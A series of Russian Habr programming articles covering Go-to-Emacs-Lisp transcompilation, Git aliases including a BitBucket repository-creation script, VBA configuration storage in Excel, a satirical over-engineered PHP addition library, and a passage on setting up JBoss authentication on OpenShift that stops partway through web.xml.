Каждый вызов генерирует проверку типа. Если внутри `lisp.Object` хранится значение отличного от запрошенного типа, должен быть вызван `panic`. Чем-то напоминает API `reflect.Value`, не так ли?
Emacs Lisp из Go
----------------
Если сигнатура функции неизвестна, то единственное, что нам остаётся — это принимать вариативное количество аргументов произвольного типа, а возвращать `lisp.Object`.
```
pair := lisp.Call("cons", 1, "2")
a, b := lisp.Call("car", pair), lisp.Call("cdr", pair)
lisp.Call("insert", "Hello, Emacs!")
sum := lisp.Call("+", 1, 2).Int()
```
Функции, аннотированные вручную, можно вызывать более удобным способом.
```
part := "c"
lisp.Insert("Hello, Emacs!") // Возвращает void
s := lisp.Concat("a", "b", part) // Возвращает string, принимает ...string
```
**FFI DSL**DSL для аннотирования функций можно написать на макросах.
```
;; Пример описания функций, доступных через FFI.
(ffi-declare
(concat Concat (:string &parts) :string)
(message Message (:string format :any &args) :string)
(insert Insert (:any &args) :void)
(+ IntAdd (:int &xs) :int))
;; Разворачивается макрос, например, в Go сигнатуры.
```
Разворачиваться такой макрос должен в Go сигнатуры функций. Нужно оставлять комментарий-директиву для сохранения информации о том, какую Lisp функцию следует вызывать.
```
// IntAdd - ... <комментарий функции + из Emacs>
//$GO-ffi:+
func IntAdd(xs ...int) int
// ... Остальные функции
```
Документацию можно подтягивать из Emacs'а функцией `documentation`. Получаем функции с известной арностью и при этом не теряем ценные docstrings.
Go из Emacs Lisp
----------------
Результатом транскомпиляции будет Emacs Lisp пакет, в котором все символы из Go имеют преобразованный вид.
Схема преобразования идентификаторов может быть, например, такой:
```
package "foo" func "f" => "$GO-foo.f"
package "foo/bar" func "f" => "$GO-foo/bar.g"
package "foo" func (typ) "m" => "$GO-foo.typ.m"
package "foo" var "v" => "$GO-foo.v"
```
Соответственно для того, чтобы вызвать функцию или воспользоваться переменной, нужно знать какому Go пакету она принадлежала (и её название, разумеется). Префикс `$GO` позволяет избежать конфликтов с уже определёнными в Emacs именами.
Тонкости транскомпиляции
========================
Bytecode или lapcode?
---------------------
В качестве выходного формата можно выбирать среди трёх вариантов:
1. Emacs Lisp код (source-to-source compilation)
2. Bytecode
3. Lapcode (Lisp Assembly Program)
Первый вариант сильно проигрывает остальным вариантам, потому что он не позволит эффективно транслировать `return statement`, а ещё в нём сложнее реализовать оператор `goto` (который есть в Go).
Второй и третий варианты по возможностям практически эквивалентны.
* Bytecode — это аналог машинного кода, самый низкий уровень;
* Lapcode — это язык ассемблера виртуальной машины со стековой архитектурой;
Компилятор Emacs'а умеет оптимизировать на уровне исходного кода и lapcode представления.
Если выбираем lapcode, то можем дополнительно применять низкоуровневые оптимизации,
реализованные Emacs разработчиками.
**Недостатки lapcode**Lisp assembly program — это внутренний формат компилятора Emacs'а (IR). Документации по нему ещё меньше, чем по байт-коду.
Писать на этом "ассемблере" самостоятельно практически невозможно из-за особенностей оптимизатора, который может сломать ваш код.
Я так и не нашёл точного описания формата инструкций. Здесь помогает метод проб и ошибок, а также чтение исходников компилятора Emacs Lisp'а (вам понадобятся стальные нервы).
Производительность генерируемого кода
-------------------------------------
Go, который "бегает" внутри Emacs VM не может быть быстрее Emacs Lisp.
*Или может?*
В Emacs Lisp есть динамический scoping для переменных. Если вы заглянете в **"emacs/lisp/emacs-lisp/byte-opt.el"**, то сможете найти множество отсылок к этой особенности языка; из-за неё некоторые оптимизации либо невозможны, либо значительно затруднены.
Констант в Emacs Lisp нет. Имена, объявленные с помощью `defconstant` менее неизменяемые, чем те, что определены через `defvar`. В Go константы встраиваются в место использования, что позволяет сворачивать больше константных выражений.
Оптимизировать Go код проще, поэтому можно ожидать как минимум не уступающую обычному Emacs Lisp коду производительность. Потенциально, обгон в плане быстродействия реален.
Трудности реализации
--------------------
Даже без горутин есть такие возможности Go, которые не имеют очевидной и/или оптимальной реализации внутри Emacs VM.
Наиболее интересной трудностью являются указатели.
В контексте задачи мы можем выделить две категории значений в Emacs Lisp:
* Ссылочные типы (`string`, `vector`, `list`/`cons`)
* Типы-значения (`integer` и `float`)
Для ссылочных типов задача решается попроще.
Взятие адреса от переменной типа `int` или `float` требует обработки
большего количества граничных случаев.
Ещё не следует забывать, что для указателей определён оператор `=`,
поэтому предлагаемым решением должно соблюдаться тождество адресов объектов.
Заворачивая `number` в `cons`, пролетаем по семантике,
потому что значение, у которого взяли адрес,
не будет меняться в случае изменения данных, хранимых в `cons`.
Если все числа изначально создавать в boxed виде (внутри `cons`),
**сильно** повысится количество аллокаций.
Распаковка будет требовать дополнительную инструкцию `car` при каждом считывании значения.
У реализации указателей через `cons` есть значительный изъян: `&x != &x`,
потому что `(eq (cons x nil) (cons x nil))` всегда ложно.
Корректная эмуляция семантики указателей — это открытый для обсуждения вопрос.
Буду рад услышать ваши идеи для их реализации.
Seems like Go-ism inside Emacs
==============================
Проект [goism](https://github.com/Quasilyte/goism) — это инструмент, который позволяет получать из Go пакетов близкий к оптимальному Emacs Lisp байт-код.
Библиотека времени выполнения изначально была написана на лиспе, но с недавних пор полностью переписана на транслируемом в lapcode Go.
[emacs/rt](https://github.com/Quasilyte/goism/tree/master/src/emacs/rt) на данный момент — один из самых крупных пакетов, написанных с помощью **goism**.
На данный момент **goism** не особо дружелюбен по отношению к конечному пользователю,
придётся работать руками, чтобы правильно его собрать и настроить
([guick start guide](https://github.com/Quasilyte/goism/blob/master/docs/quick_guide.md) должен упростить задачу).
Почему статья написана именно сейчас, а не когда вышла более стабильная версия? Ответ довольно прост: нет гарантий, что эта самая версия когда-либо будет готова, плюс дорабатывать можно очень и очень долго.
Хочется узнать, кажется ли членам хабра-сообщества эта идея интересной и полезной. | https://habr.com/ru/post/331134/ | null | ru | null |
# Создание собственных команд в GIT
Эта статья предназначена для тех, кто уже имеет начальный уровень работы с Git и BitBucket. В статье рассматриваются примеры в Git Bash version 2.33.0, API BitBucket 2.0, [https://bitbucket.org](https://bitbucket.org/)
1. [**Что такое alias (знакомство)**](#intro)
2. [**Создание alias с выполнением функции**](#alias_func)
3. [**Alias с переменной**](#alias_variable)
4. [**Alias для создания удаленного репозитория BitBucket в Git Bash**](#alias_remote)
### 1. Что такое alias (знакомство)
В Git имеется возможность добавления собственных команд, которые значительно расширяют возможности Git-а, как инструмента. Вы можете создавать собственные команды и научить Git выполнять их. А также делать существующие длинные команды Git-а более короткими, что значительно сократить время вашей работы с Git-ом. Я не буду описывать все команды, которые можно создавать в Git, а расскажу только самые полезные и интересные.
Итак, начнем!
Самые частые команды, которые мы используем – это:
`$ git add .`
`$ git commit -m "message"`
И каждый раз мы вводим их, чтобы добавить в индекс новые или измененные файлы и зафиксировать эти изменения. Но можно существенно сократить время на ввод этих команд, если создать новую команду, которая будет объединять несколько последовательных команд.
Новые команды можно создавать с помощью встроенной команды Git-а: alias.
Давайте создадим нашу первую команду. Введите в Git Bash:
`$ git config --global --add alias.ac '!git add -A && git commit -m'`
В этом примере мы создали команду ac, которая объединяет команды Git: add . и commit -m.
Знак {!} – оповещает, что будет команда оболочки.
Параметр `--global` указывает, что изменения вносятся в глобальный конфигурационный файл Git — а (т.е. корневой каталог, куда установлен Git), а не репозитория.
Параметр `--add`, как не сложно догадаться, добавляет новый алиас. Если вы хотите удалить алиас, то следует заменить `--add` на `--unset`. Если хотите перезаписать алиас, то тогда нужно поставить `--replace-all`.
Зайдите в какой-нибудь локальный репозиторий (Git Bash):
`$ cd c:/workspace/first_repo`
Теперь попробуем выполнить новую команду в Git Bash:
`$ git ac`
Результат:
```
[master 04851cd] test new alias ac
1 file changed, 1 insertion(+)
create mode 100644 11.txt
```
Команда отличная, но я привыкла после этих команд выполнять git status, чтобы посмотреть текущий статус репозитория. Поэтому предлагаю еще расширить возможности новой команды.
Перепишем алиас ac:
`$ git config --global --replace-all alias.ac '!git add -A && git commit -m && git status'`
Если выполнить команду ac в таком варианта, то git Bash выдаст ошибку:
error: pathspec ‘arg’ did not match any file(s) known to git
Потому что после команды commit -m ожидается комментарий:
`$ git commit -m "какой-то комментарий"`
И комментарий – это динамический параметр, поэтому здесь нужна переменная, в которую мы будем передавать свое значение. Правильное добавление алиаса будет таким:
`$ git config --global --replace-all alias.ac '!git add -A && git commit -m "$1" && git status'`
Теперь выполним команду ac в Git Bash:
`$ git ac "test arg"`
Результат:
```
[master 7949a4d] test arg
1 file changed, 1 insertion(+), 1 deletion(-)
On branch master
Your branch is ahead of 'origin/master' by 2 commits.
(use "git push" to publish your local commits)
nothing to commit, working tree clean
```
Все работает верно! Наш комментарий «test arg» передался в переменную $1 и выполнил последовательно команды Git-а.
Ну вот теперь, когда мы познакомились с alias, можно попробовать что-то посложнее.
### 2. Создание alias с выполнением функции
Создадим функцию с bash-командами и обернем ее командой Git-а. Т.е. при выполнении команды Git-а, выполнится функция с bash командами. Создайте в директории с установленным Git-ом файл ~\Git\etc\.my\_functions и пропишите там функцию fn:
```
fn() {
echo "Hello, world!"
}
```
Затем откройте git bash и командой добавьте alias, который назовем echofn:
`$ git config --global --add alias.echofn $'!bash -c \'source /etc/.my_functions && fn\''`
Алиас echofn будет запускать bash, а bash -с, в свою очередь, выполнит строку в одинарных кавычках. В строке команда source прочитает файл .my\_functions и выполнит функцию fn. Обратите внимание, что внутренние одинарные кавычки должны быть экранированы (\’), т.к. они находятся внутри одинарных кавычек. Впереди с описанием команды необходимо поставить знак $, чтобы правильно передать всю строку с bash командами и не возникало ошибки: bash: syntax error near unexpected token `}’
Теперь, если выполним нашу новую команду в Git Bash:
`$ git echofn`
, то получим результат:
Hello, world!
### 3. Alias с переменной
Есть еще способ создания алиаса. Можно команды-алиасы прописывать прямо в файлах Git-а. Пропишите в файле ~\Git\etc\gitconfig строки:
```
[alias]
hw = "!f(){ echo \"Hello World!!\"; echo \"My name is $1. And I'm developer\"; };f "
```
Затем запустите новую команду {hw} в Git Bash:
`$ git hw "Olga"`
Результат:
```
Hello World!!
My name is Olga. And I'm developer
```
Чтобы посмотреть все наши созданные алиасы, выполните команду в Git Bash, чтобы прочитать строки с помощью регулярного выражения, начинающиеся со слова «**alias**» из конфигурационных настроек Git-а:
`$ git config --get-regexp '^alias\.'`
А еще лучше создайте новую команду Git-a. Выполните команду в Git Bash:
`$ git config --global alias.aliases "config --get-regexp '^alias\.'"`
(а затем выполните созданную команду в Git Bash):
`$ git aliases`
Результат покажет все ваши алиасы:
```
alias.hw !f(){ echo "Hello World!!"; echo "My name is $1. And I'm developer"; };f
alias.echofn !bash -c 'source /etc/.my_functions && fn'
alias.ac !git add -A && git commit -m "$1" && git status
alias.aliases config --get-regexp '^alias\.'
```
### 4. Alias для создания удаленного репозитория BitBucket в Git Bash
Самое полезное я оставила на конец. Если вы используете в качестве удаленного репозитория BitBucket, то наверняка сталкивались с такой проблемой – как создать новый репозиторий из консоли. Например: вы создали новый репозиторий на локальной машине, делали в нем изменения файлов. И вот когда закончили и решили запушить это на BitBucket, то вам выдается ошибка, что на BB репозитория нет и его надо сначала создать. Вы идете на сайт BitBucket-а, создаете там пустой репозиторий, потом из консоли Git Bash делаете связку с удаленным репозиторием. Не слишком изящно, да? Если у вас нет возможности установить дополнительные инструменты, то тут как раз подойдет создание новой команды.
На площадке BitBucket есть API, который позволяет исполнять команды для различных действий. Документацию по API команд вы можете [посмотреть тут](https://developer.atlassian.com/cloud/bitbucket/rest/intro/#authentication).
Цепочка команд формируется в виде форматированного контента в формате JSON. А далее необходимо этот форматированный контент послать на ресурс API BitBucket. Послать можно с помощью библиотеки CURL, которая поставляется вместе с пакетом Git Bash.
Пропишите в файле ~\Git\etc\.my\_functions строки:
`namerep="$1"`
```
new_repo() {
curl -X POST -u "{login_id}:{app_password}" -H "Content-Type: application/json" \
https://api.bitbucket.org/2.0/repositories/iammultic/"$namerep" \
-d '{ "scm": "git", "is_private": true, "project": {"key": "MAIN"}}'
}
```
Итак, мы создали функцию new\_repo, которая будет создавать с помощью Curl и API BitBucket 2.0.
удаленный репозиторий. Вместо {login\_id} – вы прописываете свой логин, зарегистрированный в BitBucket; вместо {app\_password} – прописываете APP пароль, который можно сгенерировать в BitBucket-е нажав на свой профиль-> Personal settings-> App Paswords-> Create app password. Откроется диалоговое окно:
Затем выбираете необходимые параметры и жмете Create.
Далее вы увидите пароль – строку:
Запишите свой пароль. Этот пароль вы можете использовать для аутентификации в различных приложениях. Например: графических редакторах версионного контроля и т.д.
Вернемся к нашей функции new\_repo… Обратите внимание на строку перед функцией namerep= «$1». «$1» – это параметр, который будет передаваться из Git, а namerep – это глобальная bash переменная, которая потом будет использована внутри функции. Эта переменная будет принимать наименование нашего нового репозитория.
Теперь, в файле ~\Git\etc\gitconfig пропишите строки и сохранитесь:
```
[alias]
cr = "! bash -c 'source /etc/.my_functions && new_repo ' $1"
```
Далее, выполните новую команду в Git Bash:
```
$ git cr repo1
```
Если вы посмотрите в своем аккаунте список репозиторий в BB, то увидите там новый репозиторий repo1
Удаленный репозиторий мы создали, но нам надо также его создать на локальной машине и связать его с удаленным. Здесь можно выбрать — каким способом вы хотите сделать связь между удаленным и локальным репозиторием. Можно сделать клон:
*1 вариант*
```
$ cd c:/workplace
$ clone git@bitbucket.org:iammultic/repo1.git
```
, либо создать такую директорию в вашей рабочей области на локальной машине и связать репозитории:
*2 вариант*
```
$ cd c:/workplace
$ mkdir repo1
$ cd c:/workplace/repo1
$ git remote add origin git@bitbucket.org:iammultic/repo1.git
```
Я выбираю первый вариант.
Добавьте пару строк в ранее созданную функцию (~\Git\etc\.my\_functions):
`namerep="$1"`
```
new_repo() {
curl -X POST -u "iammultic:********************" -H "Content-Type: application/json" \
https://api.bitbucket.org/2.0/repositories/iammultic/$namerep \
-d '{ "scm": "git", "is_private": true, "project": {"key": "MAIN"}}' ;
cd /c/workspace ;
git clone git@bitbucket.org:iammultic/$namerep.git
}
```
Выполните в Git Bash команду:
```
$ git cr repo2
```
Все готово!
Проверьте создание нового репозитория в Bitbucket и создание локального репозитория в вашей рабочей директории на локальной машине.
Все примеры работающие, проверенные – можно использовать в работе с Git и BitBucket. И вы можете создать больше полезных для себя alias-ов и применять их, чтобы не тратить много времени на ведение и контроль версии файлов. | https://habr.com/ru/post/664364/ | null | ru | null |
# Как хранить Config в Excel
Изображение отсюда: https://www.freepik.com/free-vector/settings-concept-illustration\_9793179.htm#query=settings&position=2&from\_view=searchЯ часто пользуюсь конфигурацией при написании VBA макросов в Excel. Иногда она нужна в формах для сохранения настроек, иногда для сохранения каких-то получаемых в процессе выполнения макроса данных.
Долгое время я искал информацию о том как работать с конфигом в VBA.
Есть множество различных вариантов, от хранения конфигурации в коде, до выноса ее в отдельный файл.
Сегодня я хотел бы пошагово рассказать о том как я храню и обрабатываю конфигурацию макроса в книге Excel.
### Создаем лист ConfigSheet
У меня под рукой был Excel 2010, но в данном случае версия не имеет значения.
Для начала создаем отдельный лист. Я назвал его *config*, но это не принципиально. Что же действительно принципиально, так это `CodeName` листа:
CodeName листаЕсли вы вдруг не знали, листы документа Excel в VBA – это, ни что иное, как объект *класса* `Worksheet`. Обращаемся к справке и видим у объекта `Worksheet` необходимое свойство (перезаписать его программно, несмотря на Read-only, можно, но об этом в другой раз):
Чтобы было проще обращаться к нашему Config листу, меняем ему значение поля *(Name)* в свойствах (если у вас их нет, нажмите *F4* или *View -> Properties Window*, а если у вас нет структуры с проектом, нажмите *Ctrl+R* или *View -> Project Explorer*).
Таким образом, мы дополнительно защищаемся от ошибки в случае изменения обычного имени листа, а так же получаем автокомплит.
Вызываем автокомплит с помощью Ctrl+SpaceКстати, так как лист – это *объект*, мы можем обращаться так же к его методам, полям и свойствам через точку, как обычно:
Вызываем методы и свойстваЭтим мы и воспользуемся, но об этом чуть позже.
### Создаем ListObject
Итак, как вы уже догадались, всю информацию мы будем сохранять в таблицу, а именно в объект `ListObject`.
Для этого на нашем листе создаем пустую таблицу с двумя столбцами `Key` и `Value`:
создаем таблицуТеперь осталось в Конструкторе задать нашей таблице имя, и основа для хранения готова:
### Получаем объект таблицы
Переходим к самому интересному. Писать код будем в модуле листа `ConfigSheet`.
Для начала создадим необходимые гетеры:
```
Public Property Get Table() As ListObject
' Свойство Read-Only для объекта таблицы.
Set Table = Me.ListObjects("configTable")
End Property
Public Property Get Keys() As Range
' Свойство Read-Only для столбца ключей.
Set Keys = Me.Table.ListColumns(KeyColumn).DataBodyRange
End Property
Public Property Get Values() As Range
' Свойство Read-Only для столбца значений.
Set Values = Me.Table.ListColumns(ValueColumn).DataBodyRange
End Property
```
В свойство `Table` помещаем нашу таблицу, в `Keys` – столбец ключей, в `Values` – столбец значений.
Для удобства обращения к столбцам (и чтобы не *хардкодить*), прописываем `Enum` на уровне модуля:
```
Private Enum EConfigColumns
KeyColumn = 1
ValueColumn
End Enum
```
Сказал "*не хардкодить*" и *захардкодил* название таблицы 😀. Исправляюсь:
```
Option Explicit
Private Enum EConfigColumns
KeyColumn = 1
ValueColumn
End Enum
Private Const ConfigTable As String = "configTable"
```
### Прописываем свойство Get Config
Осталось создать свойство `Config`, через которое будем записывать, получать и обновлять значения в таблице.
Для начала прописываем получение значения по ключу:
```
Public Property Get Config(ByVal Key As Variant) As Variant
Dim i As Long
For i = 1 To Me.Keys.Rows.Count
If Key <> Me.Keys(i).Value Then GoTo NextKey
Config = Me.Values(i).Value: Exit Property
NextKey:
Next
End Property
```
Здесь все довольно просто – пробегаем циклом по ключам и сравниваем их с параметром `Key`, передаваемым пользователем. Как только находим нужный ключ, возвращаем соответствующее значение.
Так как мы работаем напрямую с объектом `Range`, это уже несколько замедляет работу макроса. Плюс ко всему, во время цикла макрос будет постоянно вызывать свойства `Keys` и `Values` чтобы получить их значения, что еще сильнее замедлит скорость выполнения.
Чтобы немного ускорить процесс и избежать постоянное обращение, можно создать переменные и передавать в них свойства:
```
Public Property Get Config(ByVal Key As Variant) As Variant
' Переменные, для хранения свойств.
Dim Keys As Range: Set Keys = Me.Keys
Dim Values As Range: Set Values = Me.Values
Dim i As Long
For i = 1 To Me.Keys.Rows.Count
If Key <> Me.Keys(i).Value Then GoTo NextKey
Config = Me.Values(i).Value: Exit Property
NextKey:
Next
End Property
```
Но это несколько загромождает код (а ведь у нас еще будет свойство `Let`), поэтому воспользуемся `UDT` (*user defined type*) и процедурой, которая будет его инициализировать.
Создаем тип `TConfig` в который помещаем все наши ранее созданные свойства (кроме, собственно, `Config`), а так же создаем *приватную* переменную `This` на уровне модуля:
```
Option Explicit
Private Enum EConfigColumns
KeyColumn = 1
ValueColumn
End Enum
Private Const ConfigTable As String = "configTable"
Private Type TConfig
Table As ListObject
Keys As Range
Values As Range
End Type
Private This As TConfig
```
Очень важно чтобы и `Type TConfig` и переменная `This` были приватными, иначе на этапе компиляции возникнет ошибка.
Далее, прописываем небольшую процедуру `InitThis`, для присваивания значений нашему типу:
```
Public Sub InitThis()
Set This.Table = Me.Table
Set This.Keys = Me.Keys
Set This.Values = Me.Values
End Sub
```
Теперь поправим свойство `Config`:
```
Public Property Get Config(ByVal Key As Variant) As Variant
Me.InitThis
Dim i As Long
For i = 1 To This.Keys.Rows.Count
If Key <> This.Keys(i).Value Then GoTo NextKey
Config = This.Values(i).Value: Exit Property
NextKey:
Next
End Property
```
Лаконично, не так ли?
### Прописываем свойство Let Config
С установлением значений чуть иначе:
```
Public Property Let Config(ByVal Key As Variant, ByVal RHS As Variant)
Me.InitThis
If This.Keys Is Nothing Then This.Table.ListRows.Add: Me.InitThis
Dim i As Long
Do Until Key = This.Keys(i).Value
i = i + 1
If i > This.Keys.Rows.Count Then This.Table.ListRows.Add: Exit Do
Loop
This.Keys(i).Value = Key
This.Values(i).Value = RHS
End Property
```
В параметры принимаем `Key` и `RHS` (*Right Hand Side* – по правую руку), для того чтобы можно было прописывать такую конструкцию:
`ConfigSheet.Config("Key") = "Value"`
В самом начале проверяем `This.Keys` на `Nothing`, т.к. если в таблице еще совсем нет значений, при попытке пробежаться циклом по столбцам выскочит ошибка.
Чтобы этого избежать, после проверки добавляем в таблицу пустую строку и заново инициализировать `This`. Только после этого можно будет свободно проходить по столбцам циклом.
Подобную проверку добавляем и в `Get`, но вместо добавления строки просто возвращаем сообщение "Нет данных в таблице конфигурации":
```
Public Property Get Config(ByVal Key As Variant) As Variant
Me.InitThis
If This.Keys Is Nothing Then Config = "Нет данных в таблице конфигурации": Exit Property
Dim i As Long
For i = 1 To This.Keys.Rows.Count
If Key <> This.Keys(i).Value Then GoTo NextKey
Config = This.Values(i).Value: Exit Property
NextKey:
Next
End Property
```
Далее, так же как и в `Get` части, циклом, только теперь `Do Until`, пробегаем по ключам конфига. При достижении максимального индекса – добавляем в конце новую строку и выходим из цикла. В конце присваиваем ключ и значение в соответствующие ячейки.
### Удаляем пустые строки
При первом обращении к таблице у нас появится пустая строка. Чтобы ее убрать (и вообще, на всякий случай, каждый раз проверять, нет ли пустых строк в таблице), пропишем небольшую процедуру:
```
Public Sub DeleteEmptyRows()
Me.InitThis
Dim i As Long
For i = This.Keys.Count To 1 Step -1
If (IsEmpty(This.Keys(i).Value) And IsEmpty(This.Values(i).Value)) _
Or (This.Keys(i).Value = vbNullString And This.Values(i).Value = vbNullString) Then This.Table.ListRows(i).Delete
Next
End Sub
```
и добавим ее в уже написанную `Let` часть:
```
Public Property Let Config(ByVal Key As Variant, ByVal RHS As Variant)
Me.InitThis
If This.Keys Is Nothing Then This.Table.ListRows.Add: Me.InitThis
Dim i As Long
Do Until Key = This.Keys(i).Value
i = i + 1
If i > This.Keys.Rows.Count Then This.Table.ListRows.Add: Exit Do
Loop
This.Keys(i).Value = Key
This.Values(i).Value = RHS
Me.DeleteEmptyRows ' Проверяем на пустые строки.
End Property
```
### Итоговый код
Исправил запись в `Property Get Config`, спасибо за [наводку](https://habr.com/ru/post/690298/#comment_24770288) [@qyix7z](/users/qyix7z).
```
Option Explicit
Private Enum EConfigColumns
KeyColumn = 1
ValueColumn
End Enum
Private Const ConfigTable As String = "configTable"
Private Type TConfig
Table As ListObject
Keys As Range
Values As Range
End Type
Private This As TConfig
Public Sub InitThis()
Set This.Table = Me.Table
Set This.Keys = Me.Keys
Set This.Values = Me.Values
End Sub
Public Property Get Table() As ListObject
' Свойство Read-Only для объекта таблицы.
Set Table = Me.ListObjects(ConfigTable)
End Property
Public Property Get Keys() As Range
' Свойство Read-Only для столбца ключей.
Set Keys = Me.Table.ListColumns(KeyColumn).DataBodyRange
End Property
Public Property Get Values() As Range
' Свойство Read-Only для столбца значений.
Set Values = Me.Table.ListColumns(ValueColumn).DataBodyRange
End Property
Public Property Get Config(ByVal Key As Variant) As Variant
Me.InitThis
If This.Keys Is Nothing Then Config = "Нет данных в таблице конфигурации": Exit Property
Dim i As Long
For i = 1 To This.Keys.Rows.Count
If Key = This.Keys(i).Value Then Config = This.Values(i).Value: Exit Property
Next
End Property
Public Property Let Config(ByVal Key As Variant, ByVal RHS As Variant)
Me.InitThis
If This.Keys Is Nothing Then This.Table.ListRows.Add: Me.InitThis
Dim i As Long
Do Until Key = This.Keys(i).Value
i = i + 1
If i > This.Keys.Rows.Count Then This.Table.ListRows.Add: Exit Do
Loop
This.Keys(i).Value = Key
This.Values(i).Value = RHS
Me.DeleteEmptyRows ' Проверяем на пустые строки.
End Property
Public Sub DeleteEmptyRows()
Me.InitThis
Dim i As Long
For i = This.Keys.Count To 1 Step -1
If (IsEmpty(This.Keys(i).Value) And IsEmpty(This.Values(i).Value)) _
Or (This.Keys(i).Value = vbNullString And This.Values(i).Value = vbNullString) Then This.Table.ListRows(i).Delete
Next
End Sub
```
### Проверяем результат
Ну и наконец проверяем получившийся результат.
Записываем значение в конфиг:
```
Sub Test()
' Значение "Дневник VBAшника" записано в таблицу с ключом "ChanelName"
ConfigSheet.Config("ChanelName") = "Дневник VBAшника"
End Sub
```
Считываем значение:
```
Sub Test()
' Распечатает: "Дневник VBAшника"
Debug.Print ConfigSheet.Config("ChanelName")
End Sub
```
Меняем и считываем еще раз:
```
Sub Test()
ConfigSheet.Config("ChanelName") = "https://t.me/VBAn_Diary"
' Распечатает: "https://t.me/VBAn_Diary"
Debug.Print ConfigSheet.Config("ChanelName")
End Sub
```
Ну а дальше этот лист можно спрятать от глаз пользователей, защитить книгу и структуру, и спокойно работать с конфигом.
> *Уверен, что можно изменить подход и написать код иначе. Возможно у вас есть предложения или дополнения по статье. Буду рад любому отзыву. 🙂*
>
> | https://habr.com/ru/post/690298/ | null | ru | null |
# SimplePHPEasyPlus: Складываем числа на PHP
На ранних стадиях развития интернета, разработчикам приходилось использовать бедные, убогие языки программирования. Приходилось использовать только функции и операторы. Никаких объектов, никаких интерфейсов, никакого dependency injection!
Скажем, чтобы выполнить простую операцию сложения, нашим отцам приходилось писать: 1+1. Да, серьезно.
Но теперь-то у нас есть PHP 5.3 с отличной имплементацией ООП! Представляем библиотеку [SimplePHPEasyPlus](https://github.com/Herzult/SimplePHPEasyPlus)! SimplePHPEasyPlus позволит вам складывать два числа современным способом, с использованием ООП. Он быстрый, простой, гибкий и оттестированный. Чтобы добавить 1 к 1, нужно всего лишь выполнить следующее:
```
use SimplePHPEasyPlus\Number\NumberCollection;
use SimplePHPEasyPlus\Number\SimpleNumber;
use SimplePHPEasyPlus\Number\CollectionItemNumberProxy;
use SimplePHPEasyPlus\Parser\SimpleNumberStringParser;
use SimplePHPEasyPlus\Iterator\CallbackIterator;
use SimplePHPEasyPlus\Operator\AdditionOperator;
use SimplePHPEasyPlus\Operation\ArithmeticOperation;
use SimplePHPEasyPlus\Operation\OperationStream;
use SimplePHPEasyPlus\Engine;
use SimplePHPEasyPlus\Calcul\Calcul;
use SimplePHPEasyPlus\Calcul\CalculRunner;
$numberCollection = new NumberCollection();
$numberParser = new SimpleNumberStringParser();
$firstParsedNumber = $numberParser->parse('1');
$firstNumber = new SimpleNumber($firstParsedNumber);
$firstNumberProxy = new CollectionItemNumberProxy($firstNumber);
$numberCollection->add($firstNumberProxy);
$secondParsedNumber = $numberParser->parse('1');
$secondNumber = new SimpleNumber($secondParsedNumber);
$secondNumberProxy = new CollectionItemNumberProxy($secondNumber);
$numberCollection->add($secondNumberProxy);
$addition = new AdditionOperator('SimplePHPEasyPlus\Number\SimpleNumber');
$operation = new ArithmeticOperation($addition);
$engine = new Engine($operation);
$calcul = new Calcul($engine, $numberCollection);
$runner = new CalculRunner();
$runner->run($calcul);
$result = $calcul->getResult();
$numericResult = $result->getValue(); // 2
```
Библиотека годится для применения с продакшене. Наслаждайтесь! | https://habr.com/ru/post/172119/ | null | ru | null |
# OpenShift: «hello, cloud!»
Это продолжение заметки про использование [OpenShift](https://openshift.redhat.com/app/) в качестве java-хостинга.
В прошлый раз мы [разобрались](http://habrahabr.ru/post/145203/) как создавать приложения в облаке OpenShift. В наше распоряжение предоставлен бесплатный хостинг с сервером JBoss AS 7.1 и репозиторием git. Теперь попробуем написать что-нибудь чуть сложнее, чем обычный «hello, world», и использующее возможности JBoss AS и средств разработки JBoss Tools.
[](http://www.jboss.org/tools)
Одна из распространенных задач: разрешить доступ к определенным ресурсам только авторизованным пользователям, с разделением в соответствии с присвоенными ролями. Предлагается сделать это с использованием встроенного в jboss логин-модуля, а именно реализацией org.jboss.security.auth.spi.DatabaseServerLoginModule. Как не трудно догадаться, в этом случае пользователи и их роли будут храниться в базе данных.
Схема данных достаточно проста: это таблица APP\_USER (пользователи), APP\_ROLE (справочник ролей) и APP\_MEMBERSHIP (назначенные роли), через которую реализуется связь много-ко-многим между первыми двумя таблицами.
Создадим в web-консоли новое jbossas-7 приложение с картриджем mysql-5.1 и импортируем его в Eclipse. Следует переключиться в перспективу «Web». Сразу после импорта, скорее всего, раздел Java Resources будет помечен как содержащий ошибку, а окне Problems будет написана причина:
```
Project configuration is not up-to-date with pom.xml. Run project configuration update
```
Последуем данному совету: выделяем корень проекта, вызываем контекстное меню Maven -> Update Project Configuration, выполняем, и ошибка исчезнет.
Развернем дерево проекта:
Как видно, тут уже есть папки для java классов и ресурсов, а также в папке webapp файлы index.html, пара jsp-файлов, каталог WEB-INF с дескрипторами. Файл health.jsp можно сразу же удалить (а также описание сервлета health из дескриптора web.xml), зачем он здесь — непонятно. Файл snoop.jsp еще может пригодиться, в нем выводится кое-какая статистика о нашем приложении.
В корне проекта лежит pom.xml с единственной зависимостью
```
org.jboss.spec
jboss-javaee-6.0
1.0.0.Final
pom
provided
```
Это дает нам доступ ко всем включенным в jboss модулям (ознакомиться со всем списком можно, развернув ветку Libraries — Maven Dependencies.
#### Настройка конфигурации сервера
Теперь нам понадобится файл, который не был импортирован Eclipse. Он находится в каталоге проекта по адресу .openshift/config/standalone.xml, и, как видно из названия, описывает конфигурацию экземпляра сервера jboss. Откроем его тут же, в Eclipse (если приложение будет отлаживаться на локальном сервере jboss, придется подобные манипуляции выполнить с файлом в папке сервера standalone/configuration/standalone.xml).
##### Настройка кодировки
Для работы с русскими символами в базе данных соединение должно осуществляться в кодировке UTF-8. Поэтому найдем источник данных (в данном случае MysqlDS) и добавим сведения о кодировке:
```
jdbc:mysql://${env.OPENSHIFT\_DB\_HOST}:${env.OPENSHIFT\_DB\_PORT}/${env.OPENSHIFT\_GEAR\_NAME}?characterEncoding=UTF-8
```
##### Настройка модуля аутентификации
Теперь создадим домен безопасности, который назовем, например «app-auth». Необходимо найти подсистему «urn:jboss:domain:security:1.1» и добавить в нее описание нашего домена:
```
```
Назначение свойств dsJndiName, principalsQuery, rolesQuery, думаю, очевидно. Последние 2 свойства говорят о том, что в базе будут храниться хеши паролей. Если эти свойства убрать, то пароли должны будут сохраняться в открытом виде, что допустимо при отладке, но с реальными данными делать не стоит.
#### Настройка приложения: Faces, безопасность, инициализация
**добавим в web.xml следующие строки:**
```
Faces Servlet
javax.faces.webapp.FacesServlet
1
Faces Servlet
\*.xhtml
FORM
app-auth
/login.xhtml
/login.xhtml
